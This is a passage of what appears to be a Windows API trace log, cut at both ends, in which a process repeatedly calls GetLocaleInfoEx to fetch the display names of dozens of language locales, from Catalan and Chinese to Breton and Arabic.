GetLastError () returned 0x0 [0031.482] SetLastError (dwErrCode=0x0) [0031.482] GetLocaleInfoEx (in: lpLocaleName="ca", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Catalan") returned 8 [0031.483] GetLastError () returned 0x0 [0031.483] SetLastError (dwErrCode=0x0) [0031.483] GetLocaleInfoEx (in: lpLocaleName="zh-Hans", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0031.483] GetLastError () returned 0x0 [0031.483] SetLastError (dwErrCode=0x0) [0031.483] GetLocaleInfoEx (in: lpLocaleName="cs", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Czech") returned 6 [0031.483] GetLastError () returned 0x0 [0031.483] SetLastError (dwErrCode=0x0) [0031.483] GetLocaleInfoEx (in: lpLocaleName="da", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Danish") returned 7 [0031.484] GetLastError () returned 0x0 [0031.484] SetLastError (dwErrCode=0x0) [0031.484] GetLocaleInfoEx (in: lpLocaleName="de", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="German") returned 7 [0031.484] GetLastError () returned 0x0 [0031.484] SetLastError (dwErrCode=0x0) [0031.484] GetLocaleInfoEx (in: lpLocaleName="el", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Greek") returned 6 [0031.484] GetLastError () returned 0x0 [0031.484] SetLastError (dwErrCode=0x0) [0031.484] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="English") returned 8 [0031.485] GetLastError () returned 0x0 [0031.485] SetLastError (dwErrCode=0x0) [0031.485] GetLocaleInfoEx (in: lpLocaleName="es", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Spanish") returned 8 [0031.486] GetLastError () returned 0x0 [0031.486] SetLastError (dwErrCode=0x0) [0031.486] GetLocaleInfoEx (in: lpLocaleName="fi", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Finnish") returned 8 [0031.486] GetLastError () returned 0x0 [0031.486] SetLastError (dwErrCode=0x0) [0031.486] GetLocaleInfoEx (in: lpLocaleName="fr", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="French") returned 7 [0031.487] GetLastError () returned 0x0 [0031.487] SetLastError (dwErrCode=0x0) [0031.487] GetLocaleInfoEx (in: lpLocaleName="he", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hebrew") returned 7 [0031.487] GetLastError () returned 0x0 [0031.487] SetLastError (dwErrCode=0x0) [0031.487] GetLocaleInfoEx (in: lpLocaleName="hu", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hungarian") returned 10 [0031.487] GetLastError () returned 0x0 [0031.487] SetLastError (dwErrCode=0x0) [0031.487] GetLocaleInfoEx (in: lpLocaleName="is", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Icelandic") returned 10 [0031.488] GetLastError () returned 0x0 [0031.488] SetLastError (dwErrCode=0x0) [0031.488] GetLocaleInfoEx (in: lpLocaleName="it", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Italian") returned 8 [0031.488] GetLastError () returned 0x0 [0031.488] SetLastError (dwErrCode=0x0) [0031.488] GetLocaleInfoEx (in: lpLocaleName="ja", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Japanese") returned 9 [0031.489] GetLastError () returned 0x0 [0031.489] SetLastError (dwErrCode=0x0) [0031.489] GetLocaleInfoEx (in: lpLocaleName="ko", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Korean") returned 7 [0031.489] GetLastError () returned 0x0 [0031.489] SetLastError (dwErrCode=0x0) [0031.489] GetLocaleInfoEx (in: lpLocaleName="nl", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Dutch") returned 6 [0031.489] GetLastError () returned 0x0 [0031.489] SetLastError (dwErrCode=0x0) [0031.489] GetLocaleInfoEx (in: lpLocaleName="no", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Norwegian") returned 10 [0031.491] GetLastError () returned 0x0 [0031.491] SetLastError (dwErrCode=0x0) [0031.492] GetLocaleInfoEx (in: lpLocaleName="pl", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Polish") returned 7 [0031.492] GetLastError () returned 0x0 [0031.492] SetLastError (dwErrCode=0x0) [0031.492] GetLocaleInfoEx (in: lpLocaleName="pt", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Portuguese") returned 11 [0031.492] GetLastError () returned 0x0 [0031.492] SetLastError (dwErrCode=0x0) [0031.492] GetLocaleInfoEx (in: lpLocaleName="rm", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Romansh") returned 8 [0031.493] GetLastError () returned 0x0 [0031.493] SetLastError (dwErrCode=0x0) [0031.493] GetLocaleInfoEx (in: lpLocaleName="ro", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Romanian") returned 9 [0031.493] GetLastError () returned 0x0 [0031.493] SetLastError (dwErrCode=0x0) [0031.493] GetLocaleInfoEx (in: lpLocaleName="ru", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Russian") returned 8 [0031.494] GetLastError () returned 0x0 [0031.494] SetLastError (dwErrCode=0x0) [0031.494] GetLocaleInfoEx (in: lpLocaleName="hr", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Croatian") returned 9 [0031.494] GetLastError () returned 0x0 [0031.494] SetLastError (dwErrCode=0x0) [0031.495] GetLocaleInfoEx (in: lpLocaleName="sk", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Slovak") returned 7 [0031.496] GetLastError () returned 0x0 [0031.496] SetLastError (dwErrCode=0x0) [0031.496] GetLocaleInfoEx (in: lpLocaleName="sq", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Albanian") returned 9 [0031.496] GetLastError () returned 0x0 [0031.496] SetLastError (dwErrCode=0x0) [0031.496] GetLocaleInfoEx (in: lpLocaleName="sv", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Swedish") returned 8 [0031.496] GetLastError () returned 0x0 [0031.496] SetLastError (dwErrCode=0x0) [0031.496] GetLocaleInfoEx (in: lpLocaleName="th", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Thai") returned 5 [0031.497] GetLastError () returned 0x0 [0031.497] SetLastError (dwErrCode=0x0) [0031.497] GetLocaleInfoEx (in: lpLocaleName="tr", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Turkish") returned 8 [0031.497] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLocaleInfoEx (in: lpLocaleName="ur", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Urdu") returned 5 [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLocaleInfoEx (in: lpLocaleName="id", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Indonesian") returned 11 [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLocaleInfoEx (in: lpLocaleName="uk", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Ukrainian") returned 10 [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLocaleInfoEx (in: lpLocaleName="be", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Belarusian") returned 11 [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLocaleInfoEx (in: lpLocaleName="sl", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Slovenian") returned 10 [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLocaleInfoEx (in: lpLocaleName="et", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Estonian") returned 9 [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLocaleInfoEx (in: lpLocaleName="lv", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Latvian") returned 8 [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLocaleInfoEx (in: lpLocaleName="lt", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Lithuanian") returned 11 [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLocaleInfoEx (in: lpLocaleName="tg", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tajik") returned 6 [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLocaleInfoEx (in: lpLocaleName="fa", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Persian") returned 8 [0031.501] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLocaleInfoEx (in: lpLocaleName="vi", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Vietnamese") returned 11 [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLocaleInfoEx (in: lpLocaleName="hy", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Armenian") returned 9 [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLocaleInfoEx (in: lpLocaleName="az", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Azeri") returned 6 [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLocaleInfoEx (in: lpLocaleName="eu", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Basque") returned 7 [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLocaleInfoEx (in: lpLocaleName="hsb", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Upper Sorbian") returned 14 [0031.503] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLocaleInfoEx (in: lpLocaleName="mk", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Macedonian (FYROM)") returned 19 [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLocaleInfoEx (in: lpLocaleName="tn", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Setswana") returned 9 [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLocaleInfoEx (in: lpLocaleName="xh", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="isiXhosa") returned 9 [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLocaleInfoEx (in: lpLocaleName="zu", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="isiZulu") returned 8 [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLocaleInfoEx (in: lpLocaleName="af", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Afrikaans") returned 10 [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLocaleInfoEx (in: lpLocaleName="ka", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Georgian") returned 9 [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLocaleInfoEx (in: lpLocaleName="fo", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Faroese") returned 8 [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLocaleInfoEx (in: lpLocaleName="hi", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hindi") returned 6 [0031.507] GetLastError () returned 0x0 [0031.507] SetLastError (dwErrCode=0x0) [0031.507] GetLocaleInfoEx (in: lpLocaleName="mt", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Maltese") returned 8 [0031.507] GetLastError () returned 0x0 [0031.507] SetLastError (dwErrCode=0x0) [0031.507] GetLocaleInfoEx (in: lpLocaleName="se", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLocaleInfoEx (in: lpLocaleName="ga", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Irish") returned 6 [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLocaleInfoEx (in: lpLocaleName="ms", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Malay") returned 6 [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLocaleInfoEx (in: lpLocaleName="kk", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kazakh") returned 7 [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLocaleInfoEx (in: lpLocaleName="ky", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kyrgyz") returned 7 [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLocaleInfoEx (in: lpLocaleName="sw", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kiswahili") returned 10 [0031.510] GetLastError () returned 0x0 [0031.521] SetLastError (dwErrCode=0x0) [0031.521] GetLocaleInfoEx (in: lpLocaleName="tk", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Turkmen") returned 8 [0031.522] GetLastError () returned 0x0 [0031.522] SetLastError (dwErrCode=0x0) [0031.522] GetLocaleInfoEx (in: lpLocaleName="uz", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Uzbek") returned 6 [0031.522] GetLastError () returned 0x0 [0031.522] SetLastError (dwErrCode=0x0) [0031.522] GetLocaleInfoEx (in: lpLocaleName="tt", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tatar") returned 6 [0031.523] GetLastError () returned 0x0 [0031.523] SetLastError (dwErrCode=0x0) [0031.523] GetLocaleInfoEx (in: lpLocaleName="bn", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bengali") returned 8 [0031.523] GetLastError () returned 0x0 [0031.523] SetLastError (dwErrCode=0x0) [0031.523] GetLocaleInfoEx (in: lpLocaleName="pa", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Punjabi") returned 8 [0031.523] GetLastError () returned 0x0 [0031.523] SetLastError (dwErrCode=0x0) [0031.523] GetLocaleInfoEx (in: lpLocaleName="gu", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Gujarati") returned 9 [0031.524] GetLastError () returned 0x0 [0031.524] SetLastError (dwErrCode=0x0) [0031.524] GetLocaleInfoEx (in: lpLocaleName="or", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Oriya") returned 6 [0031.524] GetLastError () returned 0x0 [0031.524] SetLastError (dwErrCode=0x0) [0031.524] GetLocaleInfoEx (in: lpLocaleName="ta", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tamil") returned 6 [0031.525] GetLastError () returned 0x0 [0031.525] SetLastError (dwErrCode=0x0) [0031.525] GetLocaleInfoEx (in: lpLocaleName="te", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Telugu") returned 7 [0031.525] GetLastError () returned 0x0 [0031.525] SetLastError (dwErrCode=0x0) [0031.525] GetLocaleInfoEx (in: lpLocaleName="kn", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kannada") returned 8 [0031.526] GetLastError () returned 0x0 [0031.526] SetLastError (dwErrCode=0x0) [0031.526] GetLocaleInfoEx (in: lpLocaleName="ml", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Malayalam") returned 10 [0031.526] GetLastError () returned 0x0 [0031.526] SetLastError (dwErrCode=0x0) [0031.526] GetLocaleInfoEx (in: lpLocaleName="as", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Assamese") returned 9 [0031.527] GetLastError () returned 0x0 [0031.527] SetLastError (dwErrCode=0x0) [0031.527] GetLocaleInfoEx (in: lpLocaleName="mr", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Marathi") returned 8 [0031.527] GetLastError () returned 0x0 [0031.527] SetLastError (dwErrCode=0x0) [0031.527] GetLocaleInfoEx (in: lpLocaleName="sa", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sanskrit") returned 9 [0031.527] GetLastError () returned 0x0 [0031.527] SetLastError (dwErrCode=0x0) [0031.527] GetLocaleInfoEx (in: lpLocaleName="mn", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mongolian") returned 10 [0031.528] GetLastError () returned 0x0 [0031.528] SetLastError (dwErrCode=0x0) [0031.528] GetLocaleInfoEx (in: lpLocaleName="bo", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tibetan") returned 8 [0031.528] GetLastError () returned 0x0 [0031.528] SetLastError (dwErrCode=0x0) [0031.528] GetLocaleInfoEx (in: lpLocaleName="cy", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Welsh") returned 6 [0031.529] GetLastError () returned 0x0 [0031.529] SetLastError (dwErrCode=0x0) [0031.529] GetLocaleInfoEx (in: lpLocaleName="km", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Khmer") returned 6 [0031.529] GetLastError () returned 0x0 [0031.529] SetLastError (dwErrCode=0x0) [0031.529] GetLocaleInfoEx (in: lpLocaleName="lo", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Lao") returned 4 [0031.529] GetLastError () returned 0x0 [0031.529] SetLastError (dwErrCode=0x0) [0031.529] GetLocaleInfoEx (in: lpLocaleName="gl", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Galician") returned 9 [0031.530] GetLastError () returned 0x0 [0031.530] SetLastError (dwErrCode=0x0) [0031.530] GetLocaleInfoEx (in: lpLocaleName="kok", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Konkani") returned 8 [0031.531] GetLastError () returned 0x0 [0031.531] SetLastError (dwErrCode=0x0) [0031.531] GetLocaleInfoEx (in: lpLocaleName="syr", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Syriac") returned 7 [0031.531] GetLastError () returned 0x0 [0031.531] SetLastError (dwErrCode=0x0) [0031.531] GetLocaleInfoEx (in: lpLocaleName="si", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sinhala") returned 8 [0031.532] GetLastError () returned 0x0 [0031.532] SetLastError (dwErrCode=0x0) [0031.532] GetLocaleInfoEx (in: lpLocaleName="iu", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Inuktitut") returned 10 [0031.532] GetLastError () returned 0x0 [0031.532] SetLastError (dwErrCode=0x0) [0031.532] GetLocaleInfoEx (in: lpLocaleName="am", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Amharic") returned 8 [0031.532] GetLastError () returned 0x0 [0031.532] SetLastError (dwErrCode=0x0) [0031.532] GetLocaleInfoEx (in: lpLocaleName="tzm", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Tamazight") returned 10 [0031.533] GetLastError () returned 0x0 [0031.533] SetLastError (dwErrCode=0x0) [0031.533] GetLocaleInfoEx (in: lpLocaleName="ne", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Nepali") returned 7 [0031.533] GetLastError () returned 0x0 [0031.533] SetLastError (dwErrCode=0x0) [0031.533] GetLocaleInfoEx (in: lpLocaleName="fy", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Frisian") returned 8 [0031.534] GetLastError () returned 0x0 [0031.534] SetLastError (dwErrCode=0x0) [0031.534] GetLocaleInfoEx (in: lpLocaleName="ps", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Pashto") returned 7 [0031.534] GetLastError () returned 0x0 [0031.534] SetLastError (dwErrCode=0x0) [0031.534] GetLocaleInfoEx (in: lpLocaleName="fil", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Filipino") returned 9 [0031.534] GetLastError () returned 0x0 [0031.534] SetLastError (dwErrCode=0x0) [0031.534] GetLocaleInfoEx (in: lpLocaleName="dv", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Divehi") returned 7 [0031.535] GetLastError () returned 0x0 [0031.535] SetLastError (dwErrCode=0x0) [0031.535] GetLocaleInfoEx (in: lpLocaleName="ha", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Hausa") returned 6 [0031.535] GetLastError () returned 0x0 [0031.535] SetLastError (dwErrCode=0x0) [0031.535] GetLocaleInfoEx (in: lpLocaleName="yo", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yoruba") returned 7 [0031.536] GetLastError () returned 0x0 [0031.536] SetLastError (dwErrCode=0x0) [0031.536] GetLocaleInfoEx (in: lpLocaleName="quz", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Quechua") returned 8 [0031.536] GetLastError () returned 0x0 [0031.536] SetLastError (dwErrCode=0x0) [0031.536] GetLocaleInfoEx (in: lpLocaleName="nso", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Sesotho sa Leboa") returned 17 [0031.536] GetLastError () returned 0x0 [0031.537] SetLastError (dwErrCode=0x0) [0031.537] GetLocaleInfoEx (in: lpLocaleName="ba", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bashkir") returned 8 [0031.537] GetLastError () returned 0x0 [0031.537] SetLastError (dwErrCode=0x0) [0031.537] GetLocaleInfoEx (in: lpLocaleName="lb", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Luxembourgish") returned 14 [0031.537] GetLastError () returned 0x0 [0031.537] SetLastError (dwErrCode=0x0) [0031.537] GetLocaleInfoEx (in: lpLocaleName="kl", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Greenlandic") returned 12 [0031.538] GetLastError () returned 0x0 [0031.538] SetLastError (dwErrCode=0x0) [0031.538] GetLocaleInfoEx (in: lpLocaleName="ig", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Igbo") returned 5 [0031.538] GetLastError () returned 0x0 [0031.538] SetLastError (dwErrCode=0x0) [0031.538] GetLocaleInfoEx (in: lpLocaleName="ii", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yi") returned 3 [0031.538] GetLastError () returned 0x0 [0031.539] SetLastError (dwErrCode=0x0) [0031.539] GetLocaleInfoEx (in: lpLocaleName="arn", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mapudungun") returned 11 [0031.539] GetLastError () returned 0x0 [0031.539] SetLastError (dwErrCode=0x0) [0031.539] GetLocaleInfoEx (in: lpLocaleName="moh", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Mohawk") returned 7 [0031.539] GetLastError () returned 0x0 [0031.539] SetLastError (dwErrCode=0x0) [0031.539] GetLocaleInfoEx (in: lpLocaleName="br", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Breton") returned 7 [0031.539] GetLastError () returned 0x0 [0031.539] SetLastError (dwErrCode=0x0) [0031.539] GetLocaleInfoEx (in: lpLocaleName="", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Invariant Language") returned 19 [0031.540] GetLastError () returned 0x0 [0031.540] SetLastError (dwErrCode=0x0) [0031.540] GetLocaleInfoEx (in: lpLocaleName="ug", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Uyghur") returned 7 [0031.540] GetLastError () returned 0x0 [0031.540] SetLastError (dwErrCode=0x0) [0031.540] GetLocaleInfoEx (in: lpLocaleName="mi", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Maori") returned 6 [0031.541] GetLastError () returned 0x0 [0031.541] SetLastError (dwErrCode=0x0) [0031.541] GetLocaleInfoEx (in: lpLocaleName="oc", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Occitan") returned 8 [0031.546] GetLastError () returned 0x0 [0031.546] SetLastError (dwErrCode=0x0) [0031.546] GetLocaleInfoEx (in: lpLocaleName="co", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Corsican") returned 9 [0031.546] GetLastError () returned 0x0 [0031.546] SetLastError (dwErrCode=0x0) [0031.546] GetLocaleInfoEx (in: lpLocaleName="gsw", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Alsatian") returned 9 [0031.547] GetLastError () returned 0x0 [0031.547] SetLastError (dwErrCode=0x0) [0031.547] GetLocaleInfoEx (in: lpLocaleName="sah", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Yakut") returned 6 [0031.547] GetLastError () returned 0x0 [0031.547] SetLastError (dwErrCode=0x0) [0031.547] GetLocaleInfoEx (in: lpLocaleName="qut", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="K'iche") returned 7 [0031.548] GetLastError () returned 0x0 [0031.548] SetLastError (dwErrCode=0x0) [0031.548] GetLocaleInfoEx (in: lpLocaleName="rw", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Kinyarwanda") returned 12 [0031.548] GetLastError () returned 0x0 [0031.548] SetLastError (dwErrCode=0x0) [0031.548] GetLocaleInfoEx (in: lpLocaleName="wo", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Wolof") returned 6 [0031.548] GetLastError () returned 0x0 [0031.548] SetLastError (dwErrCode=0x0) [0031.548] GetLocaleInfoEx (in: lpLocaleName="prs", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Dari") returned 5 [0031.549] GetLastError () returned 0x0 [0031.549] SetLastError (dwErrCode=0x0) [0031.549] GetLocaleInfoEx (in: lpLocaleName="gd", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Scottish Gaelic") returned 16 [0031.549] GetLastError () returned 0x0 [0031.549] SetLastError (dwErrCode=0x0) [0031.549] GetLocaleInfoEx (in: lpLocaleName="ar-SA", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Arabic") returned 7 [0031.549] GetLastError () returned 0x0 [0031.549] SetLastError (dwErrCode=0x0) [0031.549] GetLocaleInfoEx (in: lpLocaleName="bg-BG", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bulgarian") returned 10 [0031.549] GetLastError () returned 0x0 [0031.549] SetLastError (dwErrCode=0x0) [0031.549] GetLocaleInfoEx (in: lpLocaleName="ca-ES", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Catalan") returned 8 [0031.549] GetLastError () returned 0x0 [0031.549] SetLastError (dwErrCode=0x0) [0031.549] GetLocaleInfoEx (in: lpLocaleName="zh-TW", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Chinese (Traditional)") returned 22 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="cs-CZ", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Czech") returned 6 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="da-DK", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Danish") returned 7 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="de-DE", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="German") returned 7 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="el-GR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Greek") returned 6 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="English") returned 8 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="fi-FI", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Finnish") returned 8 [0031.550] GetLastError () returned 0x0 [0031.550] SetLastError (dwErrCode=0x0) [0031.550] GetLocaleInfoEx (in: lpLocaleName="fr-FR", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="French") returned 7 [0031.550] GetLastError () returned 0x0 [0031.551] SetLastError (dwErrCode=0x0) [0031.551] GetLocaleInfoEx (in: 